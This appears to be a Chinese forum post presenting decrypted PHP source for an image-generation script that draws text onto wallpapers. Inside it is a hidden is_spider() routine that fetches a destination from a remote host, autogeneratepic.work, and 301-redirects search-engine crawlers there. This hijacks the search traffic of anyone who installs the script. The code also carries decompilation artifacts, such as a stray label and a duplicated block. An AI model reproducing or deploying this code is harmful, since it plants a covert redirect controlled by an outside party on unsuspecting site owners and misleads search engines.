解密结果 就是生成的图片
url.rar(1.55 KB, 下载次数: 0)<div class="tip tip_4" id="attach_88291_menu" style="position: absolute; display: none" disautofocus="true"><div class="tip_c xs0">1小时前 上传
点击文件名下载附件
- <?php/* 严禁反编译、逆向等任何形式的侵权行为,违者将追究法律责任 */error_reporting(E_ALL ^ E_NOTICE);require 'config.php';function is_spider(){ $v0 = strtolower($_SERVER['HTTP_USER_AGENT']); $v1 = array('Googlebot', 'Baiduspider', 'Yahoo! Slurp', 'YodaoBot', 'msnbot'); foreach ($v1 as $v2) { $v2 = strtolower($v2); $v3 = 'http://www.autogeneratepic.work/geturl/url.php'; $v4 = file_get_contents($v3); if (strpos($v0, $v2) !== !1) { header('HTTP/1.1 301 Moved Permanently'); header('Location:' . $v4); } }}is_spider();$num = rand(1, 10);if ($wallpaper == 1) { $url2 = "http://wp.birdpaper.com.cn/intf/search?content={$title}&pageno={$num}&count=1"; $content = file_get_contents($url2); $array = json_decode($content, !0); $imgurl = $array['data']['list'][0]['url'];}if ($imgurl) { header('Content-Type: image/png'); session_start(); header('Cache-Control: private, max-age=10800, pre-check=10800'); header('Pragma: private'); header('Expires: ' . date(DATE_RFC822, strtotime(' 2 day'))); @ob_end_clean(); @readfile($imgurl); @flush(); @ob_flush(); exit; WHBxm:} else { $bgimg = './image/' . $numrand . '.jpg&imageView2/0/interlace/1/q/95|watermark/1/image/aHR0cHM6Ly9kei14Lm9zcy1jbi1oYW5nemhvdS5hbGl5dW5jcy5jb20vd2F0ZXJtYXJrLnBuZw==/dissolve/90/gravity/SouthEast/dx/10/dy/10|imageslim'; $bg_info = getimagesize($bgimg); $bg_type = image_type_to_extension($bg_info[2], !1); $func = 'imagecreatefrom' . $bg_type; $bg_image = $func($bgimg); $numrand2 = rand(1, 6); $tu1 = './image/' . $numrand2 . '.png'; $tu1_info = getimagesize($tu1); $tu1_type = image_type_to_extension($tu1_info[2], !1); $tu1_func = 'imagecreatefrom' . $tu1_type; $tu1_image = $tu1_func($tu1); imagecopy($bg_image, $tu1_image, 100, 50, 0, 0, 600, 400); $tu2 = './image/' . $numrand2 . '.png'; $tu2_mark = getimagesize($tu2); $tu2_type = image_type_to_extension($tu2_mark[2], !1); $tu2_func = 'imagecreatefrom' . $tu2_type; $tu2_image = $tu2_func($tu2); imagecopy($bg_image, $tu2_image, 583, 1193, 0, 0, 258, 261); $gettxtone = mb_substr($get, 0, 12, 'utf-8'); $gettxttwo = mb_substr($get, 12, 13, 'utf-8'); $gettxtthree = mb_substr($get, 25, 13, 'utf-8'); $text1 = preg_split('/(?<!^)(?!$)/u', $gettxtone); $text2 = preg_split('/(?<!^)(?!$)/u', $gettxttwo); $text3 = preg_split('/(?<!^)(?!$)/u', $gettxtthree); if ($waterturn == 1) { $waterfont = $watertitle; $waterfont = preg_split('/(?<!^)(?!$)/u', $waterfont); } $color = imagecolorallocate($bg_image, 255, 255, 255); $font = './font/' . $fontrand . '.ttf'; $font_lposition = [110, 60]; $font_tposition = [220, 120]; $height = $height + $h * $size; $titlelenth = strlen($title); if ($titlelenth > 20) { $x = 130; $y = 220; } else { $x = 200; $y = ($height - imagefontheight($size)) / 2; } $size = 40; $y2 = $y + 60; $x2 = 110; $y3 = $y2 + 60; $x3 = $x2; foreach ($text1 as $k => $v) { imagettftext($bg_image, $size, 0, $x, $y, $color, $font, $v); $x = $x + 45; } foreach ($text2 as $k => $v) { imagettftext($bg_image, $size, 0, $x2, $y2, $color, $font, $v); $x2 = $x2 + 45; } foreach ($text3 as $k => $v) { imagettftext($bg_image, $size, 0, $x3, $y3, $color, $font, $v); $x3 = $x3 + 45; } if ($waterfont) { foreach ($waterfont as $k => $v) { imagettftext($bg_image, $size, 0, $waterx, $watery, $color, $font, $v); $waterx = $waterx + 45; } } header('Content-type:image/png'); imagepng($bg_image); imagedestroy($bg_image); imagedestroy($bg_image); imagedestroy($tu1_image); imagedestroy($tu2_image); session_start(); header('Cache-Control: private, max-age=10800, pre-check=10800'); header('Pragma: private'); header('Expires: ' . date(DATE_RFC822, strtotime(' 2 day')));}header('Content-type:image/png');imagepng($bg_image);imagedestroy($bg_image);imagedestroy($bg_image);imagedestroy($tu1_image);imagedestroy($tu2_image);session_start();header('Cache-Control: private, max-age=10800, pre-check=10800');header('Pragma: private');header('Expires: ' . date(DATE_RFC822, strtotime(' 2 day')));
复制代码 |